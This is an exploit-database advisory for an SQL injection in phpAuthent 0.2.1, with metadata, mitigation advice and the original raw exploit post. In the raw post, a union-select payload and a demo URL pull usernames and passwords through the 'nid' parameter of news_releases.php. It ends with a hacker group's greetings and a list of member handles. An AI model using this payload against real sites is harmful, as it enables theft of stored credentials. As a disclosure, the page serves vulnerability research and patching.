phpAuthent 0.2.1 SQL Injection Vulnerability

vendor:

phpAuthent

by:

Gamoscu

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: phpAuthent

Affected Version From: 0.2.1

Affected Version To: 0.2.1

Patch Exists: YES

Related CWE: N/A

CPE: a:phpauth:phpauth:0.2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

phpAuthent 0.2.1 SQL Injection Vulnerability

phpAuthent 0.2.1 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a malicious SQL query to the vulnerable parameter 'nid' in the 'news_releases.php' file. This can allow the attacker to gain access to sensitive information such as usernames and passwords stored in the database.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

phpAuthent 0.2.1 SQL Injection  Vulnerability
    
########################### 
    
Author    : Gamoscu
 
Homepage  : http://www.1923turk.com  

Blog      : http://gamoscu.wordpress.com/  

Script    : phpAuthent http://phpauth.sourceforge.net/

Download  : http://phpauth.sourceforge.net/download.php 
    
###########################   
      
[ Vulnerable File ] 
  
news_releases.php?nid= [ SQL ] 
       
  
[ XpL ] 
    
-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users

[ Demo] 

http://server/news_releases.php?nid=-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users

[[[[  Devilboy  ]]]]

Mevzu Bahis Batan se Gerisi Teferuhattr!


1923Turk Ailesinin Kahraman Trk Askerlerine Ufak Bir Armagandr.
Unutulmasn Ki ehitler LMEZ... 

Aziz Trk Askeri Ve Gazi Mustafa Kemal ATATRK ' Saygyla Selamlyor. 

Minnet Borcumuzu Elimizden Gelldiince Gstermeye alyoruz... 

1923Turk-Grup Yonetimi 

Buras insanln sava yendii yer!.. Dnmeyi Dnmediler!... Kararghlarn kalplerimize tadlar

anakkale Zaferi, Trk askerinin ruh kudretini gsteren ayan hayret ve tebrik bir misaldir Emin olmalsnz ki, anakkale Muharebelerini kazandran bu yksek ruhtur 


Yonetmmz :

VatanAy | TurkishWarriorr | DJ_K_A_H_I_R | Palyo34 | BILGE_KAGAN

Ve Sayg Deger Personelimizle : 

@Adminturk | Dangerman DANGEROUS GHOST | EFE | mustocilin | -_CAH&#65533;T_ | AYPARS | BAYBORA | Devil_Boy | KaraKl | Cyber-DeLeT4r | Emre5807 | EneS_60 gamoscu | G&#65533;kT&#65533;rk | HaCkSpY | KroNicKq | LegendSemih | Alptugrul | ..TuGRa.. | Manas58 | SesSiz_TurK | Sipahi |Turk1923 | Devilofthe_King | Nofearx38 | K&#65533;l&#65533;&#65533; Arslan | Sancak_Pars | VatanTurk | XmgX | XxAy_Y&#65533;ld&#65533;zxX | G&#65533;k&#65533;eN | BozkuRTkIz caferi_kizi_25 | digitall | Turkic Brat | _al_bayragim_ | AtABeY | benrakdemir | Corti DeadLy | kripto | liseli asena | M.R.T | Malazgirt | Mehmet_51_ | meltemknk | NeFeNDuS | No_Fear | VatanTurk | vet_hekimi | Kenan Kalecikli


##############################################################   
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO   
##############################################################